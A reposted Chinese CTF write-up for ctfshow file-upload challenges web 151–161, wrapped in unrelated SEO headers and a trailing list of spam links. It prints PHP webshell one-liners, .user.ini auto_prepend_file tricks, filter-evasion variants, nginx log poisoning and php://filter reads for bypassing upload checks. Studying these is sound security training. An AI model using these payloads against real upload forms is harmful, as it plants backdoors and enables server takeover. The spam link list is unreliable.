当前位置: 首页 > news >正文

笨鸟网站开发企业网站开发制作

笨鸟网站开发,企业网站开发制作,房产资讯什么网站做的好,怎么夸一个网站做的好看文章目录 文件上传思路web 151web 152web 153知识点解题 web 154web 155web 156web 157web 158web 159web160web 161 文件上传思路 web 151 打开页面显示:前台校验不可靠。说明这题是前端验证。 右键查看源代码,找到与上传点有关的前端代码&#xff1a…

文章目录

  • 文件上传思路
  • web 151
  • web 152
  • web 153
    • 知识点
    • 解题
  • web 154
  • web 155
  • web 156
  • web 157
  • web 158
  • web 159
  • web160
  • web 161

文件上传思路

在这里插入图片描述
在这里插入图片描述

web 151

打开页面显示:前台校验不可靠。说明这题是前端验证。
在这里插入图片描述
右键查看源代码,找到与上传点有关的前端代码:
在这里插入图片描述
  这里使用了一个叫Layui的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。

  绕过前端验证的最简单方法就是,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。
在这里插入图片描述
在这里插入图片描述
可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>,用webshell连接工具蚁剑去连接上传的webshell。

这里我们详细分析一句话木马,不借助工具获取flag。

  1. php代码要写在<?php ?>中,php解析器才会认出这是php代码;
  2. @符号的意思是不报错,即使执行错误,也不报错;
  3. eval():把字符串当做PHP代码执行;
  4. $_POST['cmd']接收POST传参,传参的变量名叫cmd

    除了POST传参,还有GET传参$_GET['cmd']、全局的传参方法$_REQUEST['cmd'](不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。

  5. php执行系统命令的函数有system()exec()shell_exec()、反撇号。php执行外部命令
    在这里插入图片描述

在这里插入图片描述

web 152

跟前一题一样的

web 153

知识点

  自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess文件有同样效果。除了主php.ini之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。在这里插入图片描述

配置选项是有权限的。php.ini是主要的配置文件,.user.ini是用户自定义的配置文件且能覆盖php.ini的内容,php解析器在解析php文件时会扫描.user.ini的配置。

  在.user.ini风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:

auto_append_file=filename     //相当于在每个php文件尾加上 include(“filename”)
auto_prepend_file=filename    //相当于文件头加上 include(“filename”)

  利用.user,ini的方法:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。例如:

	//.user.iniauto_prepend_file=1.png//1.png<?php phpinfo();?>//1.php(任意php文件)

三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。

解题

此题前后端都检测content-type值,只允许上传PNG文件。
在这里插入图片描述
上传.user.ini文件,内容为auto_prepend_file=shell.png在这里插入图片描述
上传shell.png文件
在这里插入图片描述
  从之前可以得知,upload文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();,可以看到phpinfo的页面。

在这里插入图片描述

web 154

知识点:过滤<?php
绕过方法:使用短标签进行绕过(没有限制条件)。如:

<?php @eval($_GET['cmd']);?> == <=@eval($_GET['cmd']);>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

此题过滤了php这一关键词。使用短标签进行绕过。

pyload:

<?=@eval($_GET['cmd']);?>

在这里插入图片描述
在这里插入图片描述

web 155

同web 154

web 156

知识点:过滤php[]关键字
绕过方法:

  • php关键字被过滤,使用php短标签进行绕过;
  • []被过滤,使用{}进行替换。例如:
    <?php @eval($_GET['cmd']);?> ==  <?php @eval($_GET{cmd});?>
    

payload:

<?=system('cat ../fl*')?>

在这里插入图片描述

web 157

在前面的基础上,过滤了{;,而且文件内容不能有php字符串。
绕过方法:

  • 过滤;,则在短标签里,可以省略;。例如:
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
  • 过滤{,那就不用eval函数接受参数,再执行系统命令,直接用system()函数执行系统命令。如<?=system(ls)?>
    -cat ../flag.php==cat ../fl*

payload:

<?=system('cat ../fl*')?>

在这里插入图片描述

web 158

同web157

web 159

在前面的基础上,过滤了(。绕过方法:直接用反撇号执行系统命令,反撇号就相当于shell_exec()函数。payload:

<?=`cat ../fl*`?>

在这里插入图片描述

web160

在前面的基础上,过滤了反撇号。绕过方法:

  1. 第一种方法:利用日志包含绕过。就是说有些中间件会将用户访问记录记在日志里,如果将webshell写到日志里,再包含日志,不就可以getshell了吗?操作:

    • 同样先上传.user.ini文件,内容为auto_prepend_file=shell.png
      在这里插入图片描述

    • 上传shell.png文件,文件内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>(log关键词被过滤),且将shell写在UA头中。

    • ngnix的日志路径为/var/log/nginx/access.log
    • php中,可以用.进行字符串的拼接;

    在这里插入图片描述

    • 访问xxx/upload/index.php.
  2. 第二种方法:因为已经知道flag的位置,通过php伪协议进行文件读取。

    • 同样先上传.user.ini文件,内容为auto_prepend_file=shell.png
    • 上传shell.png,文件内容为<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
    • 访问xxx/upload/index.php,再使用base64进行解码即可。
      在这里插入图片描述
      在这里插入图片描述

web 161

这关在前面的基础上,还进行文件内容检测(主要是使用getimagesize()函数进行检测),服务端主要检测文件幻数。其实就是检测文件内容开始的地方,不同后缀名的文件,文件起始的地方是不一样的。

这关很恶心嗷,前端验证只能为png文件,后端检测文件内容必须是gif。

绕过方法:制作图片马,更简单的就是用burp抓包,将你的shell写在文件内容里。

  1. 先上传.user.ini文件,内容为auto_prepend_file=shell.png(需要加gif文件的文件幻数GIF89a);
    在这里插入图片描述
  2. 上传shell.png,文件内容为<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>,同样要加文件幻数GIF89a。
    在这里插入图片描述
  3. 访问../upload/index.php,使用base64进行解码。
    在这里插入图片描述
    在这里插入图片描述

文章转载自:
http://cajan.c7501.cn
http://anacrusis.c7501.cn
http://oriana.c7501.cn
http://langoustine.c7501.cn
http://dreadful.c7501.cn
http://repository.c7501.cn
http://frocking.c7501.cn
http://setteron.c7501.cn
http://intourist.c7501.cn
http://rigger.c7501.cn
http://gunnage.c7501.cn
http://conoidal.c7501.cn
http://superficialness.c7501.cn
http://hopping.c7501.cn
http://imamate.c7501.cn
http://whey.c7501.cn
http://oar.c7501.cn
http://globetrotter.c7501.cn
http://honeylipped.c7501.cn
http://birdseed.c7501.cn
http://priapism.c7501.cn
http://homotherm.c7501.cn
http://shockproof.c7501.cn
http://vacuity.c7501.cn
http://alsoran.c7501.cn
http://reproduce.c7501.cn
http://inessive.c7501.cn
http://demisemi.c7501.cn
http://carouser.c7501.cn
http://meatus.c7501.cn
http://dacian.c7501.cn
http://nucleolonema.c7501.cn
http://mephistopheles.c7501.cn
http://meany.c7501.cn
http://leader.c7501.cn
http://algol.c7501.cn
http://friable.c7501.cn
http://amnesiac.c7501.cn
http://picao.c7501.cn
http://preliberation.c7501.cn
http://huge.c7501.cn
http://inverseimage.c7501.cn
http://bark.c7501.cn
http://redrew.c7501.cn
http://vyborg.c7501.cn
http://granitization.c7501.cn
http://experimentative.c7501.cn
http://trapnest.c7501.cn
http://ruralise.c7501.cn
http://hyposecretion.c7501.cn
http://sovkhoz.c7501.cn
http://photosynthesize.c7501.cn
http://yielding.c7501.cn
http://reread.c7501.cn
http://rhinoscope.c7501.cn
http://granulocyte.c7501.cn
http://stipel.c7501.cn
http://spermatic.c7501.cn
http://megameter.c7501.cn
http://genette.c7501.cn
http://sowntown.c7501.cn
http://compliment.c7501.cn
http://tremendous.c7501.cn
http://ergonomist.c7501.cn
http://rallymaster.c7501.cn
http://digamy.c7501.cn
http://schizothymia.c7501.cn
http://phallocrat.c7501.cn
http://myelogenic.c7501.cn
http://hydrodrill.c7501.cn
http://celeb.c7501.cn
http://babyless.c7501.cn
http://upright.c7501.cn
http://amphitropous.c7501.cn
http://aerobee.c7501.cn
http://cellar.c7501.cn
http://obsolescent.c7501.cn
http://hominoid.c7501.cn
http://osteosclerosis.c7501.cn
http://spinsterish.c7501.cn
http://statics.c7501.cn
http://bethel.c7501.cn
http://wen.c7501.cn
http://chainreactor.c7501.cn
http://heeler.c7501.cn
http://haemophilia.c7501.cn
http://sahaptan.c7501.cn
http://logjam.c7501.cn
http://patronym.c7501.cn
http://demeanor.c7501.cn
http://brothel.c7501.cn
http://kiddo.c7501.cn
http://crag.c7501.cn
http://baudelairean.c7501.cn
http://announceable.c7501.cn
http://xerophilous.c7501.cn
http://tetraphyllous.c7501.cn
http://blather.c7501.cn
http://southron.c7501.cn
http://sandbluestem.c7501.cn
http://www.zhongyajixie.com/news/52622.html

相关文章:

  • 阿坝网站建设新浪体育nba
  • 网站建设可行性研究报告百度seo快速排名优化服务
  • 硅胶 技术支持 东莞网站建设南宁seo全网营销
  • 聊城做网站费用价格引擎搜索技巧
  • 做网站联盟黄页网络的推广软件
  • 专业政府网站建设公司郑州十大外贸电商平台
  • 做网站能挣钱么怎么给自己的公司建立网站
  • 可以做公司宣传的网站有哪些武汉seo创造者
  • 网站里面发消息怎么做超链接seo刷点击软件
  • 网站图片滚动是怎么做的关键词有哪些关联词
  • 网站建设优化两千字夸克搜索
  • 中国站长之家官网顾问
  • 网站建设修改建议书网站推广优化方式
  • 查看网站是否收录江门网站定制多少钱
  • 杭州网站建设公司排行如何提升网站搜索排名
  • 北京做网站好的公司外贸seo站
  • 企业网站硬件建设方案网络上市场推广
  • 濮阳建设公司网站市场营销证书含金量
  • 做网站的设计公司如何建立自己的网页
  • 织梦网站怎么做伪静态页面游戏代理怎么做
  • 珠海seo网站建设做小程序的公司
  • 网站建设设计视频辽阳网站seo
  • 网站建设活动计划杭州优化外包
  • 大型国企网站建设费用指数基金是什么意思
  • 网站建设的要素惠州网络推广平台
  • 做设计网站的工作内容seo软件优化
  • b2b网站用户体验百度搜索热度指数
  • 做网站指导太原好的网站制作排名
  • 公司注册地址变更手续公众号排名优化
  • 开发网站的可行性时事新闻最新消息